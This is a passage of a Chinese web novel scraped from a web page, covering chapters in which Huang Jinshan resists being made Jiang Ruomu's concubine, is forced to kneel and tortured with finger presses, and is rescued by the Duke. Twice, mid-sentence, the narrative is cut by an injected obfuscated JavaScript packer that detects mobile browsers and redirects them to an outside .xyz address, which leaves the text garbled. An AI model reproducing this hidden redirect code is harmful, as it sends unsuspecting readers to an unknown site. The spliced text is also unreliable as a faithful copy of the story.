白五讲完自己与黄金善的事和兰青溪的观点后,蒋若木脸上惟余震惊。 他简直说不出话了。 “你这是啥表情啊,”看着蒋若木都呆了,白五只能管自己喝酒,“你是觉得黄金善不可能亲我,还是觉得我不可能喜欢黄金善啊?” “都不是,”蒋若木楞了很久才回过神来,“我震惊的是——” “白大侠,你好直率啊。我们认识才没多久,你居然把这些话都跟我说吗?” 听到这话,白五笑了,“我一直都这么直率的,只是这九年来,没人听我说话罢了。” 中毒、失去武功、决意不再做剑客,他从未想瞒过任何人。但世人不在乎白五的故事,他们在乎的是白玉春。或者说他们在乎的也不是白玉春吧,他们在乎的只是天下第一。 爱他的人,爱的是他的名号,恨他的人,却恨的是他本身。 “所以,白大侠你是觉得你喜欢善儿姐吗?”蒋若木总结了他的长篇大论,在白五思考了一会儿后适时地问道。 “黄金善说你心思细腻,在人情方面总能洞察细微,正是因为这一切对我也许太复杂了,我才想问你呢。”喝着酒,他突然觉得向小辈求教也是挺有意思的事,也许这是人变老了的象征。 “爱没那么复杂的,”蒋若木笑了,一边是笑白五而立之年了,对感情居然可以说是丝毫看不清,另外一边是笑黄金善如果有一天知道了今天这个场景,一定会觉得白五蠢的要死,他白五居然也有这种时候。 “爱呢,就是屁股决定脑袋。” 蒋若木觉得,这话虽俗,形容白五却再好不过,“就像你,明明对天机什么都不知道、对善儿姐是个什么样的人、有什么样的过去几乎一无所知,却愿意为了她想要的东西和我们一起走。” “因为你在乎她,也许你自己都意识不到,你在肯定她的选择。” “是嘛?”白五对蒋若木的话未置可否,举起酒瓶一饮而尽。 山风好像吹散了那些浮躁的过往,尽管他不知道自己是否还能重新启程。 两人就这样打开了话题,从蒋若木小时候如何在皇宫里闯祸、然后黄金善替他擦屁股,到白玉春怎么忽悠师傅然后溜出去闯荡,再到蒋若木与黄金善定亲时黄金善是如何给全世界脸色看的,最后又到白玉春和兰青溪这对江湖上谣传的神仙眷侣如何从小打到大…… * 第二天黄金善醒了的时候已经是日上中天了,几乎是饿醒的。 而这两个人居然都还睡着,靠近那房间都闻到一股酒味。 她废了老大的劲,把两人从房里拽了出来。她叫的马车已经到了,差不多该收拾收拾出发了。 三人刚走到院中,便见四五辆马车未在小屋四周。 身着华丽的贵妇从马车上走了下来。 “这会总不该再乱跑了吧。”她满脸鄙夷地看着这院子,不耐烦的神色中带着威严,“蒋若木。” 21. 定国公府 序 众生苦难,世道艰难。 敬漫漫前路,敬所向远方。 ——定国公府—— “你这小姨和她婆家都姓什么?”三人被半推半就地塞上了马车,一上车黄金善就摆起了脸,车子里气压低低的。 “我母家姓苏,我小姨苏琴珃,她婆家长阳侯府,姓袁,如今的长阳候是她丈夫的同胞哥哥。”蒋若木看着黄金善的神色,“怎么了吗?” “提前了解一下,免得哪天国公府改姓了我都不知道。”黄金善阴阳怪气地说完,闭眼思考起来。 蒋若木把头埋了下去,“没办法,”他小声嘀咕,“我父亲什么也不管,我母亲耳根子软的不行。我们家这两代都是单传的,祖父还在边关,家里又没有个拿主意的人……” “你小姨都替蒋府管儿子了,你父亲也不管?”黄金善很嫌弃。 “哎呀,”蒋若木真的觉得很没面子,尤其在白五面前,家底都要掏出来了,他声音越来越小,“你知道的,我父亲就是个文痴,以前,他迷上《八卦》《易经》那会,不是还一天给你写二十多封信请教嘛……” 黄金善还在闭着眼,两人便也没有说话。 过一会,她长叹一口气,睁眼开口道,“这里去京城得在路上休息一晚,白五你晚上溜吧。” “为什么不三个人一起跑?”白五发问,他看这贵妇带的随从并不多,悄无声息地跑了也不是很难。 “现在跑了,他小姨回去还不知道要怎么编排蒋若木呢,”黄金善看着蒋若木,他家里那些破事打小就是她替他使招,“再说了,你不是还要把花锦、相风托付过去吗,我来替你扫扫垃圾。” “那我溜去哪呢?” “你可不能乱跑,你得替我去找一个人。”黄金善看向白五,她想到了个稳妥些的方法,虽然有些麻烦人,但如今也顾不得这么多了,“一物降一物,该求助时得求助。” * 苏琴珃把蒋若木和黄金善两人带回蒋府时,骄傲得像得胜的孔雀。 蒋父并没有出来迎接,蒋母则是一看到黄金善就心疼地拉过她的手。 “怎么瘦了这么多,”慈母的手拂过黄金善额边的碎发,眼眶已然湿润,“在翡城受了不少委屈吧。” “姐,你在这心疼人家,人家在外面可是野得很呢,”还来不及感受这温度,苏琴珃尖锐刺耳的声音从黄金善耳边传来,“我找着他们的时候,她可是和两个男的住在一起,其中一个还在路上跑了,也不知道是哪里来的阿猫阿狗。” “这……”蒋母皱起了眉头,拍着黄金善的手,“咱们到底还是闺阁里的女子,怎么也不能失了规矩啊。” “是,伯母。”黄金善有气无力地应着,眼睛瞥向蒋若木。 蒋若木抿了抿嘴,深吸一口气,鼓起勇气扯开话题,“母亲,善儿姐这两天住哪呀?” 看着儿子,蒋母的笑又爬上了脸,“那肯定是早就备好的了。” 蒋母带着两人到了西边一个小院,此地离正院有些远,但格局独立,风景也是雅致。 “善儿,你看这院子怎么样,”蒋母牵着她的手,带她在院子里四处看,“这里特意为你都打理过了,花花草草都是你小时候最喜欢的,你也不必搬来搬去,等你和若木成婚便就住这。” 真是做了万全的准备啊,这言下之意是还有人得住正院吧。 黄金善笑着看向蒋母,想张口,却见蒋母笑得如此温柔慈祥,而蒋若木在她身后头低得像鹌鹑。 算了,冤有头债有主,只要等着白五搬来救兵就行,还是不伤伯母的心了。 黄金善笑着应了下来,也没再提其他的事。 黄金善就这样若无其事地在蒋府住下了,有人却是坐不住的。 她才休息了一天,第二日苏琴珃就带着蒋若木的准未婚妻来了。 袁沛章,长阳候嫡长女,黄金善被带到正院时她正坐在蒋母苏画玦下首喝茶。 苏琴珃与蒋母谈的正欢,袁沛章就在一旁陪笑,三人其乐融融,没人请黄金善坐下,她就这么站在正厅中。 这是要给她做规矩啊。可惜了,黄金善站不站从来只取决于她累不累。 几人来回两三句都没提到黄金善,她就管自己坐在了袁沛章对面。 “噢,善儿来了,”蒋母这才注意到黄金善,赶忙介绍着,“这是长阳候家的沛章,你们年龄相仿,以前应是见过吧。” “是。”黄金善回到,是见过,在宫宴上,她坐在皇后娘娘身侧,袁沛章,黄金善想了想,大概在二三十张桌子后面吧。 苏琴珃对黄金善就这么自己坐下了颇为不满,翻着白眼,又高傲地说,“沛章和若木从小青梅竹马,今日来,便是我代表袁府来定下两人的事儿的,”她得意洋洋地俯视黄金善,期待着她的反应,“往后啊,沛章就是这定国公府的女主人了。” 黄金善看向蒋母,没想到苏琴珃这么说话她一点反应也没有,无奈又转头看向苏琴珃,“袁夫人好本事,昨天代表蒋府,今天又能代表袁府了。” “你……”没想到黄金善开口便这么呛人,苏琴珃一下子气的说不出话。 “善儿,怎么能这么对长辈说话呢?”蒋母也是不满,手搭在苏琴珃背上给她顺着气,面上有了怒色。袁沛章在一旁掩嘴笑着。 黄金善不太想忍了,直视蒋母说着,“袁沛章是定国公府未来的女主人,那我呢?” 蒋母一下子面色窘迫,苏琴珃在一旁直接喊道,“你当然是给若木做小啊。” “我不同意。” 黄金善说完,四人都无声了,厅内落针可闻。 看眼色的下人此时才递上茶水,黄金善开始喝起了茶,等待着谁来给她回话。 见蒋母和自己伯母都不说话,袁沛章便急着开口了,“婚姻自古是父母之命、媒妁之言,怎能由你我说不同意?” “父母之命,”黄金善放下茶杯,身子往后一倒,背靠在椅子上,手搭着身旁的桌子,全无端庄可言,直接对着几人冷笑,“我无父无母,谈何父母之命?媒妁之言,我便是天下第一相术师,谁敢做我的媒妁?” 袁沛章被这话吓得一愣,黄金善扭头看向苏琴珃,“你吗?” 苏琴珃气的直接站了起来,手指着黄金善怒道,“你怎能如此无礼,简直无法无天了,你眼里还有长幼尊卑吗?” 黄金善也不恼,同样站了起来,“要说这长幼尊卑,君臣有别,我祖父官至首辅,父亲为当朝宰相,外祖母是端阳公主,外祖父是辅国大将军,母亲是昭华郡主,两个姐姐皆是县主,我更是被陛下破格封为明宸郡主。” “你我之间,谁是尊,谁是卑?” 黄金善说完,也无人敢应。她转头便向外走去。 苏琴珃立马起手喊人拦住了她,“你如此狂妄,就该关在屋里学学规矩!” “善儿,”蒋母也未想过她会有这般反应,“你先别想这么多,待在院子里好好备嫁吧,我们让你和沛章同一日进府。” 蒋母走向黄金善,又拉起她的手,“你是我从小看着长大的,蒋府绝不会亏待了你,就算你去过翠玉楼那种地方了,蒋府还是愿意接纳你的,你的嫁妆和聘礼都由蒋府来备,往后也是和主母平起平坐。外面到底还是乱的很,一个女孩子也不能一直在外闯荡。” 黄金善看着她拉着自己的手,纤细娇嫩,人间的风寒未曾沾染半点,她叹了口气,轻轻地把手拿开了。 “伯母,相府虽没有人了,但陛下从未下过任何旨意。” 停顿一会,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367507|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又继续道,“您唤我善儿是不合礼数的,应当唤我明宸郡主。” 抬头看蒋母,蒋母的眼神里满是震惊,她也无意再辩驳,回头走了。 后宅的四方天地与她并不相配。 * 晚上蒋若木去到黄金善的小院,里面已经摆了大大小小几十箱聘礼。 他每看到一堆箱子就要倒吸一口凉气,走到黄金善房间门口时,心头都在发颤。 “善儿姐,”他小心地进了屋子,黄金善正一个人坐在桌前喝酒,“可是不太开心?” 黄金善没说话,他继续道,“没事的,我们等师傅回来肯定就能走了,你再忍忍,”黄金善一杯下肚,蒋若木立刻拿起酒壶给她添酒,“忍忍。” “你说,”黄金善又一饮而尽,“从前人们崇拜我,是因为我帮了他们,还是因为我是是明宸郡主呢?” 黄金善又要倒酒,蒋若木想要拦着她,她却一手推开了,“你父母对我好,是因为我这个人,还是因为我是黄相的女儿、陛下的亲戚呢?” 黄金善两手撑在桌上,眼里噙满泪水,“我小时候,觉得你母亲是全世界最温柔的长辈,比我父母还懂我、心疼我,在翡城这些年,我从未忘过你父母,每日问卦关心他们。” 低下头,眼泪便落到了衣袖上,“如今我父母不在了,我就变成了这府里一个出身不干净、要做规矩、还要听话的妾室。” “我嘴上说着无意于世间名利,”她双手覆上眼睛,不欲蒋若木看到她哭的样子,“可是实际上,抛开那些功名,我什么都没有、什么都做不了。” “若非我有这样的出身,纵然有天大的本事又如何呢?” “这世上可能有无数的女子,天赋异禀却最后困于四方内宅,然后一辈子相夫教子。” “不,不只是无数的女子、是无数的人,没有财、没有权,最后往往只能活在世道给他们圈的规矩里,喝着酒感叹这一生,能做的事情为何如此的少。” “善儿姐,”蒋若木拿来了帕子,小心擦着她的眼角,“唉,你一直这样,其实这样也挺自负的,众生苦难,世道艰难,为何是你醉酒抹泪的原因呢?” “是啊,”黄金善拿下了他的帕子,“我既是觉得自己不该如此自负,以为所有的一切都是靠我的本事得到的,却忘记一切都依托于所谓功名,”眼泪糊满了脸,她仰着头,鼻头酸涩,说话也有些许哽咽,“但我又觉得不甘,我不甘做了这么多,我还被困在明宸公主的身份里,世人也依然无法随心而活,自以为能改变这世道,又何尝不是一种自负呢。” “别哭了善儿姐,我觉得,这就是为什么我们要闯荡江湖。”蒋若木笑着看黄金善,黄金善也抬眸与他对视,又随着他的目光看向窗外的远方,“朝堂上的那些事,都太高、太虚无了。自己去看看、自己去走走,才能知道自己在这天地之间究竟是何物。” “我相信可以,”蒋若木握住了黄金善的手腕,“我相信有人可以改变这世道,而在我相信的所有人当中,我最相信你。在冶城的那四枚铜钱,就是最好的证据,对他们来说,重要的并非你是什么身份,而是你教会了他们怎么更好地活下去。” “善儿姐,寄一封快信要跑死好几匹马,”蒋若木也倒上了酒,敬向黄金善,“我不够聪明、也没什么天赋,我也许是匹很普通的马,但我很坚定自己走在正确的道路上,我相信改变这世道不在朝夕,也许要几人、几十人、几百人的生命做基。” 黄金善擦了擦眼,但一眨眼又有泪水盈了出来。泪珠滑到嘴边,她笑了,也举杯碰向他,“我明白,也许我们看不到终点,但这条路,我们会走下去。” 酒杯发出清脆一响,蒋若木说道,“敬漫漫前路。” “敬所向远方。”黄金善回到。 22. 圣旨 序 五行偏枯、六亲缘浅、年少则夭。 被爱浸泡长大的她如何才能相信是自己克死了父母呢? ——圣旨—— 第二日,昨天哭太多眼睛肿了,黄金善躺了一天。 第三日,昨天睡太多没休息好,黄金善又躺了一天。 第四日,白五怎么还没回来? 蒋府筹备婚仪着急得很,这几日屋内已经四处都挂上了红绸,成箱成箱的聘礼只管在外面堆着,也没人给她看礼单。 今日一早,黄金善就被推着要试嫁衣。 衣服没那么合身,青碧色的嫁衣就这么空空地挂在她身上,红色的绣纹点缀其上,她好像一棵庆祝蒋若木与袁沛章成婚的树。 不太好看,所幸也没人在乎。 她闭着眼坐在梳妆台前,任由侍女摆弄。 国公府的侍女并未把她当成正经主子,粗暴地扯着她的发簪与头花,黄金善的耐心也就这样一下一下地被拉扯没了。 “行了你们都出去吧,我自己弄。” 黄金善摆开侍女放在她头上的手,自己接过发簪。侍女们互相使着眼色,并无人听她指挥。 “我就是一个小妾,成亲当日也没什么仪式,没人看的,不必折腾。”黄金善在镜子里看着几个侍女,“我累了,你们都出去吧。” 见黄金善没什么挣扎,几个侍女便出去了。 黄金善就这样坐在镜前,看着穿婚服的自己。 她是从未想过自己婚仪竟不穿红衣的。 发呆一阵,后窗突然传来窸窸窣窣的动静,黄金善赶忙跑了过去。 推开窗,却见一只狸猫从窗台上跳了下去。 失望叹息,她正准备关窗时,一只手搭住窗户,白五转身从窗旁出现。 “怎么,不想看到小猫?”他笑道。他将头发全束了起来,水蓝色的长衫上可见风尘。 黄金善撇了撇嘴,“怎么才来,让你带的人呢?” “人哪有这么快,我怕你们出事,跑死一匹马才提前赶回来的。” 因为看不太清她今日装束,他将头从窗外探了进来,眯起眼睛,仔细打量着,“你怎么穿这么绿,而且这衣服太大了吧,我刚还以为你披了好几层外衫。” “你再来晚点,我就要穿着这衣服和蒋若木成亲了。”黄金善凑近他,对他摆了个生气的表情。 没说几句,白五看向屋内正门,食指竖在黄金善嘴前,小声道,“前院有人来了。” “这么远你都能听见?”黄金善也回头望去。 白五刚要开口,黄金善就将手按在了他脸上,将他使劲往窗外推,“你赶紧出去,找蒋若木,你俩商量清楚了晚上再来找我汇报。” 白五还没来得及反应,啪的一声,黄金善把窗关上了。 他都没好好看看她。 * 差不多的小院差不多的后窗,蒋若木至少还请他进去喝茶。 白五喝了口茶缓了缓,随即问道,“你怎么穿这么红?” “我在试婚服啊,”蒋若木摆了摆帽子,又伸出两只胳膊前前后后给白五展示着,“我穿着还挺不错的吧,我感觉还挺合身。” “你还试上了哈。”白五嫌弃地瞥了眼他,不知道这家伙在高兴什么劲。 “那当然要试了,万一真要结婚呢。” 刚喝进嗓子的茶又被白五咳了出来,他皱眉擦着嘴,“你娶黄金善做妾,你还真敢想啊。” “事已至此,也只能这么打算了,”蒋若木闭上眼,长叹一口气,好似做了准备之后才说,“要是真成婚了,成婚第二天我就带着善儿姐跑。” 听完这话,白五又喝了口茶冷静了一下,玩味问道“你婚前都跑不掉,婚后就能跑了?” “哎呀,你不懂,”蒋若木开始脱下自己身上的各类婚仪饰品,“说是成婚,其实我就是个摆件,结束以后就跑正好。” 头发卡在了帽子上,蒋若木示意白五过来帮帮忙,“有钱有权没男人的日子是我母亲我姨母的最爱,我这个未来的妻子估计也是如此。” “那黄金善呢?”白五眼神不太好,两个人一起理头发反而越理越乱了,半天摘不下帽子。 蒋若木又是长叹了一口气,双手捂在胸前,“我可以以死谢罪,但善儿姐肯定舍不得杀我,我会做牛做马赎罪的!” 白五想要憋笑却也没忍住,噗嗤一声,换来了蒋若木委屈地回头。 这帽子实在是解不开,蒋若木急着要叫人了,两人只能谈回正事,白五找来的人估摸着还有两天就能到,婚仪是在五日之后,三人就计划先在蒋府等候着。 国公府的后宅却是没有这么平静的。 两日后,黄金善又被叫到了前院,因为有侍女向主母告发黄金善私会外男。 黄金善刚走进房门,蒋母便怒气冲冲地喊道,“跪下!” 苏琴珃在一旁噙着笑,毫不掩饰奸计得逞的眼神。 “我亲眼所见,”侍女跪在黄金善前方,她甚至看不到这人是谁,“她已经多次在院内私会外男了,那男人每次都翻墙出逃,不是我们府内的人。” 黄金善没理会这话,就静静看着几人的反应。 “我让你跪下你听不到吗!”蒋母见她不动,怒气更盛,直接示意护卫动手。 “伯母,上次见面我已经明说了,我还是明宸郡主,您有何权利让我跪呢?”黄金善还是面无表情,算算日子外援也该到了,她实在不愿因为这些事消耗心力。 “你一家都死光了,你算哪门子的郡主!”她的高傲让蒋母深感不快,一想到自己从小哄着这孩子,没吃到什么甜头就算了,她竟对自己还如此不敬,蒋母气不打一处来,直接抬手指挥侍卫,“今日就让你跪了又如何,你难道要去陛下那里告御状?” 侍卫上前,用脚一踢,黄金善直接双膝无力跪了下来。 她手撑着地,不再说话。任由谩骂声从姐妹二人那里传来。 “母亲你这是干什么!”听闻消息的蒋若木疾跑着赶来过来,没管母亲的质问,直接走到黄金善声旁准备扶起她。 “到底是去过翠玉楼的姑娘,行事作风就是不一样。”苏琴珃又开始了她阴阳怪气的表演。 蒋母则是毫不掩饰的震怒,“你连自己的妾室都管不了,每天听着她指挥做事,成何体统!今日这事,必须把家主请来!” 少时,蒋仕真人刚走进正门,威严的声音就从黄金善身后传来,“上家法吧。” “善儿姐还不是我们家的人,凭什么上家法!”蒋若木将黄金善扶了起来,质问他的父亲。 “不孝子!你是在质疑我吗!”蒋仕真手指着蒋若木的鼻子,说着就要朝他扇巴掌。 “我从未答应过这门婚事,若是伯父伯母如此不满,此婚不结便是了。”黄金善低着头,声音平缓却郑重。 “若不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377206|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看你可怜,两家先前又有婚约,放眼全京城,谁家愿意接纳你?”蒋仕真怒视着黄金善,“你别忘了你为何从小入宫学相术的,还不是那谢飞光说你八字全水身极强,养在府里会克六亲?如今你父母都已经被你克死了,你还有什么脸在这挑三拣四!” 蒋仕真一口气说完,他对这门婚事本就非常不满,奈何婚约还在,也不敢向陛下再提及此事,况且这黄家女有奇谋巧计,或许能在蒋家仕途上帮衬一二,他怎么可能让蒋家两代单传的二字娶这么个扫把星。 黄金善没再说话了,侍卫压着她和蒋若木二人都跪了下来,拶指已套在她的手上。 手上的力一瞬间收紧,刺骨的疼顺着手指爬到心脉,却爬不进她的心里。 克父克母,很久没有人这么说她,她自己都快要忘了。 “此女八字极强,此类全水的命格太为特殊,五行偏枯、六亲缘浅、年少则夭,一生恐怕是灾祸不断,但她悟性极高,唯独与道法缘深。” 这是谢飞光后来同自己说的,她小时候便是这么被送入宫的。 但她父母很爱她。每两日的家书,关心她有没有吃好喝好、也关心她有没有好好学习知识和礼仪规矩,每周姐姐送来的信和玩具吃食,让她尽管住在皇宫里,也从未错过京城的任何一则新故事、任何一家新美食,若是想家了,早上悄悄躲在宫门口,就能遇到下朝回家的父亲,他会从口袋里变出她最爱吃的蜜饯……被爱浸泡长大的她如何才能相信是自己克死了父母呢? 她从不愿信命,也许就是起源于此。 她感觉气血上头,人已有些意识不清了,耳边蒋父蒋母还在怒斥着,蒋若木跪在她身边不断地求情,混乱嘈杂的环境里响亮的话语一个字一个字在往她耳朵里蹦,但她分辨不出这些话语在说什么。 手指被夹得麻木了,反而是在放松的一瞬间又感受到了灼烧般的阵痛。 “吵吵嚷嚷的,这是在干什么!” 人终于来了。侍卫放开了刑具,黄金善手撑着地,努力地喊自己的意识回来。 定国公与自己的父亲私交甚密,为人刚正,从小就赏识自己,也是这个家唯一说一不二的人。黄金善本想找他来压制处处挑拨的苏琴珃,不过如今看来,这蒋府上下,可能也就真的只有国公爷靠得住了。 “父亲,你怎么回来了。”看到定国公,蒋仕真相当意外,原本担心定国公不同意这桩婚事,打算先斩后奏,只让他参加婚仪,信刚发出去没多久,没想到人居然提前这么多就出发了。 “让善儿为妾,你们可对得起黄相!”定国公没理会儿子的谄媚,指着他鼻子就是骂。 “这……黄相都死了,总不能让善儿为妻啊,咱家就若木一个孩子……”在自己父亲面前,蒋仕真便有些唯唯诺诺。 “嚯,要是有几个孩子,你是不是打算把京城里的贵女按门第都娶个遍啊!”定国公一手把挡在黄金善身边的人全都推开,径直扶起了她,看着她的手,心疼道,“你们要是看不上善儿,就让善儿和我回边疆!” “黄相以前明里暗里为你们做了这么多事,善儿这几年日日卜卦关心我们的身体,良心真是喂了狗了!”定国公扶起黄金善往外走,蒋府诸人只能在背后欲言又止,出门前,他又瞥了眼苏琴珃,“自家的事,成天由外人指指点点,真是家门不幸。” 还未走出房门,尖锐又宏亮的声音从蒋府外传来。 “圣旨到——”